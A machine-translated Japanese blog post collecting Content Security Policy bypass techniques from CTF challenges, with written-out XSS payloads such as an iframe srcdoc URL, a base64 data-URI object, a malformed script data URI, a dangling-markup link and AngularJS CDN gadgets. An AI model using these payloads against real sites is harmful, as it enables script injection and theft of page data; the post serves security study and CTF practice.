Arang.dev
検索

CSP Bypass 手法

Content Security Policyを回避する様々な手法のまとめ

#web-security#csp#bypass#xss
🌐 翻訳済み

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

Codegate 2020のCSP問題を解いていて、関連する回避手法を整理しようと思ったので、ざっくりとまとめてアップします。

新たに分かった情報があれば更新しますね〜〜


CTFZone 2019

- Script nonce : cache poisoning

  • /index.php/などを利用してcache poisoningを行い、CSP script nonceを固定する

Codegate 2020

- Script none : Header Injection - Status Code 102

  • Status Code 102の時はCSPが動作しない点を利用

  • header("HTTP/: 102");

--

*** Script nonce : CSS Injectionの正規表現でattributeにアクセスできることを利用し、一文字ずつsearchingしてscript nonceを取得する**

https://lbherrera.me/solver.html

http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

*** chromium 74 dev**

- import mapsを利用したCSP Bypass

https://bugs.chromium.org/p/chromium/issues/detail?id=941340

https://test.shhnjk.com/imap.php

*** chromium 78**

https://test.shhnjk.com/unxssable.php?xss=%3Ciframe%20srcdoc=%22%3Cscript%3Ealert(origin);window.stop()%3C/script%3E%3Cmeta%20http-equiv=refresh%20content=%270;url=https://shhnjk.azurewebsites.net/csp_srcdoc.html%27%3E%22%3E%3C/iframe%3E

@shhnjk

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

<script ?/src="data:+,alert%281%29"></script>

@404death

*** 同一および信頼できるドメインにおいて、スクリプト実行が可能なページを利用して、不可能なページでスクリプトを実行させる必要がある場合**

  • Same or Trusted domain ( script-src 'self' // script-src 'a.com' )

  • script-src 'self' unsafe-inline

  • Nginx 400 error、favicon.ico / robots.txtなどの404ページを埋め込んでスクリプト挿入が可能

image

  • Request URI Too Bigエラーも活用可能

  • Cookie max sizeエラーも活用可能

https://www.slideshare.net/ssusera0a306/volgactf-2018-neatly-bypassing-csp

*** Click Jackingのようにdangling markupを利用したCSP Bypass(というよりはDOMコード内の重要情報の奪取に近い)**

http://portswigger-labs.net/dangling_markup/?x=%3Ca%20href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html%3E%3Cfont%20size=100%20color=red%3EYou%20must%20click%20me%3C/font%3E%3C/a%3E%3Cbase%20target=%22blah

*** Angular JSなどFront-end FrameworkのCDNを利用したCSP Bypass**

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 ..

ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

etc...

コメント

コメントを読み込み中...
CSP Bypass 手法 | Arang